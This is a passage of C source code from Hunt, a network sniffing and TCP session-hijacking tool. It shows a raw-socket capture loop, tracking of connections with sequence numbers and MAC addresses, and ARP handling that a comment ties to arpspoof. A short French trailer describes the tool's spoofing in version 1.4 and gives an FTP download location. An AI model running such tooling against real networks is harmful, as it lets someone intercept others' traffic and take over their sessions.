* well, don't learn mac addresses from dst as they can be spoofed
* (even though check can be made)
*/
}

/*
*
* hunt
*
*/
unsigned int pkts_received = 0;
unsigned int pkts_dropped = 0;
unsigned int pkts_unhandled = 0;
unsigned int bytes_received = 0;

void *hunt(void *arg)
{
struct packet *p;
struct ethhdr *ethh;
struct iphdr *iph;
#ifdef WITH_RECVMSG
struct msghdr msg;
struct sockaddr_pkt spkt;
struct iovec iov;
#endif
pthread_sigmask(SIG_BLOCK, &intr_mask, NULL);

if (verbose)
printf("hunt pid %d\n", getpid());
add_telnet_rlogin_policy();
if (hash_init(&conn_table, 100, (hash_equal_func)ht_eq)) { /* Initialize hash table of connections */
perror("hash_init");
exit(1);
}
if (hash_init(&mac_table, 100, NULL)) {
perror("hash init");
exit(1);
}
linksock = tap(eth_device, 1); /* Setup link socket */
if (linksock < 0) {
perror("linksock");
exit(1);
}
packet_preallocate(64);

printf("starting hunt\n");
setpriority(PRIO_PROCESS, getpid(), -20);
pthread_mutex_lock(&mutex_hunt_ready);
hunt_ready = 1;
pthread_cond_signal(&cond_hunt_ready);
pthread_mutex_unlock(&mutex_hunt_ready);
while(1) {
if (!(p = packet_new())) {
fprintf(stderr, "can't get free packet - out of memory\n");
exit(1);
}
#ifdef WITH_RECVMSG
memset(&msg, 0, sizeof(msg));
msg.msg_name = &spkt;
msg.msg_namelen = sizeof(spkt);
msg.msg_iovlen = 1;
msg.msg_iov = &iov;
iov.iov_base = p->p_raw;
iov.iov_len = sizeof(p->p_raw);
if ((p->p_raw_len = recvmsg(linksock, &msg, 0)) >= 0)
#else
if ((p->p_raw_len = recv(linksock, p->p_raw, sizeof(p->p_raw), 0)) > 0)
#endif
{
pkts_received++;
bytes_received += p->p_raw_len;
/*
* don't do continue or break without packet_free !!
*/
if (p->p_raw_len < 14) {
pkts_dropped++;
goto cont;
}
ALIGNPOINTERS_ETH(p, ethh);
p->p_ethh = ethh;
/*
* in order to speed thinks as mutch as posible for arp stuff
* the timestamp is moved to swtich p->p_timestamp = time(NULL);
*/
p->p_timestamp = 0;
switch (ntohs(ethh->h_proto)) {
case ETH_P_IP:
p->p_timestamp = time(NULL);
if (p->p_raw_len < 14 + 20) {
pkts_dropped++;
goto cont;
}
ALIGNPOINTERS_IP(ethh, iph);
p->p_iph = iph;
if (in_cksum((unsigned short *) iph,
IP_HDR_LENGTH(iph)) == 0) {
if (mac_learn_from_ip)
mac_ip_learn(p);
process_ip(p);
/* drop IP fragments and ip packet len > p_raw_len */
if ((ntohs(iph->frag_off) & IP_OFFMASK) != 0 ||
(ntohs(iph->frag_off) & IP_MF) ||
(IP_HDR_LENGTH(iph) + IP_DATA_LENGTH(iph)) > p->p_raw_len) {
pkts_dropped++;
goto cont;
}
switch (iph->protocol) {
case IPPROTO_TCP:
if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 20) {
pkts_dropped++;
goto cont;
}
p->p_type = PACKET_TCP;
ALIGNPOINTERS_TCP(iph, p->p_hdr.p_tcph,
p->p_data);
p->p_data_len = TCP_DATA_LENGTH(iph, p->p_hdr.p_tcph);
if (ip_in_cksum(iph, (unsigned short *) p->p_hdr.p_tcph,
IP_DATA_LENGTH(iph)) == 0) {
conn_update_table(p, ethh, iph);
fast_tcp_process(p);
process_tcp(p);
} else
pkts_dropped++;
break;
case IPPROTO_UDP:
if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 8) {
pkts_dropped++;
goto cont;
}
p->p_type = PACKET_UDP;
ALIGNPOINTERS_UDP(iph, p->p_hdr.p_udph,
p->p_data);
/* check the UDP checksum */
process_udp(p);
break;
case IPPROTO_ICMP:
if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 8) {
pkts_dropped++;
goto cont;
}
p->p_type = PACKET_ICMP;
ALIGNPOINTERS_ICMP(iph, p->p_hdr.p_icmph,
p->p_data);
if (in_cksum((unsigned short *) p->p_hdr.p_icmph,
IP_DATA_LENGTH(iph)) == 0) {
process_icmp(p);
} else
pkts_dropped++;
break;
default:
pkts_unhandled++;
break;
}
} else
pkts_dropped++; /* bad IP checksum */
break;
case ETH_P_ARP:
if (p->p_raw_len < 14 + 28) {
pkts_dropped++;
goto cont;
}
p->p_type = PACKET_ARP;
ALIGNPOINTERS_ARP(ethh, p->p_arph);
/* do process arp first - in order to do it as fast
as posible arpspoof needs it */
process_arp(p);
p->p_timestamp = time(NULL); /* well, the process_arp does not get timestamp */
mac_arp_learn(p);
break;
default:
pkts_unhandled++;
break;
}
}
cont:
packet_free(p);
}
return NULL;
}

/*
*
* helper functions
*
*/
void print_tcp(struct iphdr *ip, struct tcphdr *tcp)
{
fprintf(stdout, "%s [%d] seq=(%u) ack=(%u)\t--->\t%s [%d]\n",
host_lookup(ip->saddr, hl_mode), ntohs(tcp->source),
(unsigned int) ntohl(tcp->seq), tcp->ack ? (unsigned int) ntohl(tcp->ack_seq) : 0,
host_lookup(ip->daddr, hl_mode), ntohs(tcp->dest));
}

static int fill_space_to(char *b, int pos, int where)
{
if (pos >= 0 && pos < where) {
return sprintf(b, "%*s", where - pos, "");
} else
return 0;
}

int conn_list(struct user_conn_info **ruci, char **rbuf, int with_mac, int with_seq)
{
struct hash_iterator iter;
struct conn_info *ci;
struct user_conn_info *uci;
int i, count;
char *b, *b_old, *buf;

hash_lock(&conn_table);
count = hash_count(&conn_table);
if (!count) {
hash_unlock(&conn_table);
if (ruci)
*ruci = NULL;
if (rbuf)
*rbuf = NULL;
return 0;
}
if (rbuf) {
buf = malloc(count * 512);
assert(buf);
b = buf;
} else
b = buf = NULL;
if (ruci) {
uci = malloc(count * sizeof(struct user_conn_info));
assert(uci);
} else
uci = NULL;
i = 0;
hash_iter_set(&iter, &conn_table);
while ((ci = hash_iter_get(&iter, NULL)) && i < count) {
if (b) {
b_old = b;
b += sprintf(b, "%d) %s [%s]", i,
host_lookup(ci->src_addr, hl_mode),
port_lookup(ci->src_port, hl_mode));
b += fill_space_to(b, b - b_old, 30);
b += sprintf(b, " --> ");
b += sprintf(b, "%s [%s]\n",
host_lookup(ci->dst_addr, hl_mode),
port_lookup(ci->dst_port, hl_mode));
if (with_seq) {
b_old = b;
b += sprintf(b, " seq=(%u) ack=(%u)",
(unsigned int) ntohl(ci->src.next_seq), (unsigned int) ntohl(ci->src.next_d_seq));
b += fill_space_to(b, b - b_old, 45);
b += sprintf(b, " seq=(%u) ack=(%u)\n",
(unsigned int) ntohl(ci->dst.next_seq), (unsigned int) ntohl(ci->dst.next_d_seq));
}
if (with_mac) {
b_old = b;
b += sprintf(b, " src mac=");
b += sprintf_eth_mac(b, ci->src.src_mac);
b += fill_space_to(b, b - b_old, 45);
b += sprintf(b, " src mac=");
b += sprintf_eth_mac(b, ci->dst.src_mac);
b += sprintf(b, "\n");

b_old = b;
b += sprintf(b, " dst mac=");
b += sprintf_eth_mac(b, ci->src.dst_mac);
b += fill_space_to(b, b - b_old, 45);
b += sprintf(b, " dst mac=");
b += sprintf_eth_mac(b, ci->dst.dst_mac);
b += sprintf(b, "\n");
}
}
if (uci) {
uci[i].src_addr = ci->src_addr;
uci[i].dst_addr = ci->dst_addr;
uci[i].src_port = ci->src_port;
uci[i].dst_port = ci->dst_port;
}
i++;
}
hash_iter_end(&iter);
hash_unlock(&conn_table);

if (ruci)
*ruci = uci;
if (rbuf)
*rbuf = buf;
return count;
}

void print_mac_table(void)
{
struct hash_iterator hi;
char buf[BUFSIZE];
unsigned int key;
struct mac_info *mi;
int i = 0;

printf("--- mac table ---\n");
hash_iter_set(&hi, &mac_table);
while ((mi = hash_iter_get(&hi, &key))) {
sprintf_eth_mac(buf, mi->mac);
printf("%-24s %s\n", host_lookup(key, hl_mode), buf);
if (++i % lines_o == 0)
lines_o_press_key();
}
hash_iter_end(&hi);
}

void print_user_conn_info(struct user_conn_info *uci, int count)
{
int i, ret;

for (i = 0; i < count; i++) {
ret = printf("%d) %s [%s]", i,
host_lookup(uci->src_addr, hl_mode),
port_lookup(uci->src_port, hl_mode));
printf("%*s", 25 - ret > 0 ? 20 - ret : 0, "");
printf(" --> ");
printf("%s [%s]\n",
host_lookup(uci->dst_addr, hl_mode),
port_lookup(uci->dst_port, hl_mode));
}
}

Quoi de plus sur cette version 1.4:

spoofing des cibles qui sont déconnectées ou hors-service et il peut ne pas intercepter certains packets spécifiques.

Où télécharger les Hunt:

ftp://ftp.gncz.cz/pub/linux/hunt